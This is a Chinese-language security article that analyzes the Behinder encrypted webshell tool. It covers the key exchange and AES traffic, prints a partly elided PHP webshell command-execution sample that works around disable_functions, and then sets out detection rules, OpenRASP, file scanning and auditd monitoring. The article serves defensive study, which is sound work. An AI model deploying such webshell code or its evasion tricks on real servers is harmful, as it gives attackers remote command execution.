红蓝对抗——加密Webshell“冰蝎”攻防
字数 1969 2025-08-26 22:11:56
加密Webshell工具"冰蝎"攻防技术详解
一、冰蝎工具概述
冰蝎(Behinder)是一款动态二进制加密的网站管理客户端,是目前流行的加密Webshell工具之一。相比传统Webshell管理工具如"菜刀",冰蝎具有以下特点:
- 流量加密:所有通信流量都经过加密处理,难以被传统WAF、WebIDS设备检测
- 功能强大:支持虚拟终端、socks代理、文件管理、反弹shell、数据库管理等
- 跨平台支持:兼容PHP、ASP等多种环境,最新版本为v2.1
- 免杀性强:能够绕过大多数Webshell检测工具
项目地址:https://github.com/rebeyond/Behinder
二、冰蝎加密原理分析
PHP环境加密流程
-
密钥协商阶段:
- 客户端以GET请求发起带密码的握手请求
- 服务端产生随机16位密钥并写入Session
- 服务端返回生成的密钥给客户端
-
命令执行阶段:
- 客户端将源代码(如
assert|eval("phpinfo();"))利用AES加密 - 加密后的数据发送至服务端
- 服务端进行AES解密得到中间结果字符串
- 服务端利用
explode函数拆分字符串为数组 - 以可变函数方式调用数组元素执行命令
- 客户端将源代码(如
流量特征示例
-
密钥协商流量:
- GET请求URL中带有参数如
?pass=xxx - 服务端返回16位密钥,如
0x7037af5d95561f3d - 对应的Session ID如
466geshjq6hr15kbmd72ju24g5
- GET请求URL中带有参数如
-
加密通信流量:
- 所有后续通信都经过AES加密
- 解密后命令通常经过Base64编码
- 最终执行的命令如
pwd、whoami等
三、冰蝎Webshell分析
PHP Webshell示例代码
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); }
}
function main($cmd){
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
// ... 省略部分代码 ...
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; }
// 尝试多种命令执行方式
if (is_callable('system') && !in_array('system', $PadtJn)) {
ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean();
} else if (is_callable('proc_open') && !in_array('proc_open', $PadtJn)) {
// ... 其他执行方式 ...
}
// ... 省略部分代码 ...
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}
function encrypt($data,$key){
if(!extension_loaded('openssl')) {
// 无openssl时的简单异或加密
for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; }
return $data;
} else {
return openssl_encrypt($data, "AES128", $key);
}
}
$cmd="pwd";
main($cmd);
关键功能特点
- 多命令执行方式:尝试system、proc_open、passthru、shell_exec、exec等多种方式
- 结果处理:对命令执行结果进行编码和安全处理
- 自适应加密:根据环境选择AES或简单异或加密
- 绕过disable_functions:检查被禁用的函数并选择可用方式
四、检测与防御方案
1. 流量侧检测
检测思路:
- 识别密钥协商阶段的特征性请求
- 检测返回的16位密钥格式
- 监控异常加密流量模式
具体规则:
- GET请求特征检测:
/[\w.]*.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10} - 返回包密钥特征检测:
^[a-fA-F0-9]{16}$ - Webshell文件特征检测:
- 包含
openssl_decrypt、base64、eval等关键字 - 可疑的函数调用组合
- 包含
局限性:
- 特征可能被攻击者修改
- 存在一定误报率
- 需要结合业务流量调整
2. 应用侧检测 - OpenRASP
RASP技术优势:
- 几乎无误报:仅检测成功的攻击
- 发现更多攻击:能看到完整执行上下文
- 对抗未知漏洞:基于行为检测而非特征
OpenRASP部署:
- 支持Java和PHP环境
- 安装后会在响应头添加
X-Protected-By:OpenRASP字段 - 能检测加密流量中的恶意命令执行
检测示例:
- 可准确识别
whoami等命令执行 - 提供详细的攻击上下文信息
局限性:
- 对应用侵入性较大
- 可能影响系统性能
- 大规模部署运维复杂
3. 主机侧检测
方案一:Webshell文件扫描
- 使用工具:D盾、河马、webdir+
- 检测结果:
- 对v1.2版本检出率约20%
- 对v2.1版本检出率较低(webdir+约60%)
- 局限性:时效性差,易被清理
方案二:Linux audit日志监控
-
配置审计规则:
auditctl -D auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command -
监控关键信息:
- 执行命令的用户(uid)和进程(pid/ppid)
- 命令执行路径(cwd)
- Web目录下的可疑命令执行
-
日志分析要点:
type=SYSCALL:记录系统调用信息type=EXECVE:记录执行的程序及参数type=CWD:记录命令执行目录
Windows平台:
- 可考虑类似的事件日志监控机制
- 关注进程创建事件(4688)等
五、综合防御建议
-
纵深防御体系:
- 流量层:部署加密流量检测规则
- 应用层:考虑RASP技术补充防护
- 主机层:加强日志审计和文件监控
-
持续安全运营:
- 定期更新检测规则
- 分析业务流量模式调整策略
- 建立异常行为基线
-
多技术协同:
- 结合静态特征与动态行为分析
- 关联分析Web访问日志与系统日志
- 构建威胁情报共享机制
-
应急响应:
- 制定Webshell事件响应流程
- 保留完整攻击证据链
- 进行彻底的痕迹清除和加固
六、总结
冰蝎等加密Webshell工具的出现,使得传统基于特征的安全检测手段面临挑战。防守方需要:
- 深入理解攻击工具的原理和特征
- 采用多层次的检测防御技术
- 结合静态检测与动态行为分析
- 持续优化安全运营策略
只有构建纵深防御体系,才能有效应对日益隐蔽的Web攻击,提升整体安全防护水平。